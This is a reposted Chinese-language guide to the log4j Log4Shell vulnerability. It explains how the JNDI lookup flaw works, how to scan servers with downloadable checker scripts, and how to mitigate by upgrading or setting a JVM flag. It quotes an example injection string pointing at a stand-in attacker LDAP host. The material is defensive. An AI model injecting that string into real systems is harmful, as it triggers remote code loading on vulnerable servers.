ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

如何检查您的服务器是否容易受到 log4j Java 漏洞利用 (Log4Shell) 的影响

2021-12-18 23:02:07  阅读:154  来源: 互联网

标签:Java Log4Shell 易受攻击 漏洞 使用 log4j 运行


在这里插入图片描述
在广泛使用的 Java 库中发现了一个关键漏洞,当服务器管理员争先恐后地修复它时,它扰乱了大部分互联网。易受攻击的组件log4j到处都用作包含的库,因此您需要检查服务器并确保它们已更新。

这个漏洞是如何工作的?

就漏洞利用而言,漏洞log4j 是过去几年中最严重的漏洞 之一,在CVSS 量表上获得罕见的 10/10 得分,并将在未来多年困扰整个互联网。

更糟糕的是,log4j 它不是一个应用程序——它是一个被许多其他应用程序使用的开源库。您可能没有直接安装它;它可能包含在其他.jar 文件中,或由其他应用程序作为依赖项安装。

本质上,它允许攻击者向您的应用程序发送文本,如果它在某处记录它(例如,在 Web 服务器中记录用户控制的代理字符串),您的服务器将执行恶意代码。文本格式类似于以下示例:一个极其简单的字符串,其中包含指向远程地址的链接。

${jndi:ldap://attacker.com/a}

中的易受攻击的组件log4j 是 Java 命名和目录接口,它允许日志框架发出远程请求。除了它还在该端点反序列化文件,并且能够加载.class 包含远程代码的文件。这是不好的。

我易受攻击吗?

该漏洞在log4j最新版本 2.16.0中很快得到了修补,但问题并没有修复它——而是找出您需要修复的地方。由于log4j 是嵌入式依赖项,因此在您的系统上搜索它的特定版本可能并非易事。而且,由于 Java 如此流行,许多第三方工具和组件可能会使用它,因此您甚至可能不 知道您的机器上是否正在运行 Java 软件。

即使您认为自己不易受到攻击,您可能仍需要仔细检查. 此漏洞利用影响了如此多的系统,您很有可能在不知不觉中运行log4j Java 或 Java。

幸运的是,JDK 版本大于 6u211、 7u201、 8u191、 并且 11.0.1 不受目前最常被利用的主要攻击媒介(使用 LDAP)的影响。无论如何,您仍然需要修补它,因为它也可以很容易地与其他攻击媒介一起使用。此外,仅向端点发出请求的简单行为就可以揭示有关网络上机器的数据,这也不是一件好事。

这个漏洞凸显了为什么保留软件材料清单 (SBOM) 很重要,SBOM 基本上是系统上所有软件的列表,它来自哪里,以及它是由什么制成的。将来,这些知识可以帮助您快速修补此类攻击。

目前,您可能只关心如何修补您的网络。为此,您需要扫描系统以查找log4j 软件使用的版本,并列出所有易受攻击的组件。

扫描您的系统

许多人已经编写了脚本来自动扫描系统中的漏洞安装,例如这个流行的用 Python 编写的脚本,以及这个来自安全公司 LunaSec 的脚本。最容易使用的一个是这个简单的 bash 脚本,它可以扫描您的包并识别log4j 版本,还可以告诉您您的系统是否甚至首先使用 Java。在大多数情况下,您需要使用不同的脚本运行多次扫描,因为不能保证其中任何一个在识别每个易受攻击的系统方面都 100% 有效。

您可以下载它并使用一些命令运行它。这需要以 root 身份运行才能扫描您的整个系统,所以当然,请注意您在 Internet 上使用 root 权限运行哪些脚本。这也是任意代码执行。

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q
chmod +x log4j_checker_beta.sh
sudo ./log4j_checker_beta.sh

这个脚本的结果突出了是什么让这个 log4j 漏洞如此可怕——在我的个人服务器上运行这个发现我很容易受到攻击,在零日之后的几天,尽管我认为我没有在这台机器上安装 Java 因为我’我没有运行任何我自己的 Java 软件。

Elasticsearch 在这台机器的后台运行,它是用 Java 编写的。我不必手动安装 Java 来安装 Elasticsearch;它包含一个捆绑版本的 OpenJDK。它包含log4j 在此安装中并且容易受到攻击。

在这里插入图片描述

至少对于 Elasticsearch 而言,修复方法是更新所有软件包并遵循其缓解指南。您运行的任何软件都可能是这种情况;您需要log4j 直接更新、更新捆绑它的软件,或者使用其他人正在使用的任何最佳实践缓解措施对其进行修补。

如果由于某种原因无法修补 jar,您可以使用这个 JVM 标志来缓解这个问题,它只是告诉log4j在格式化消息时不要进行任何查找。但是不建议这样做,您应该尝试在log4j 任何可以完全解决问题的地方安装 2.16.0。

-Dlog4j2.formatMsgNoLookups=true

标签:Java,Log4Shell,易受攻击,漏洞,使用,log4j,运行
来源: https://blog.csdn.net/wlcs_6305/article/details/122018328

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有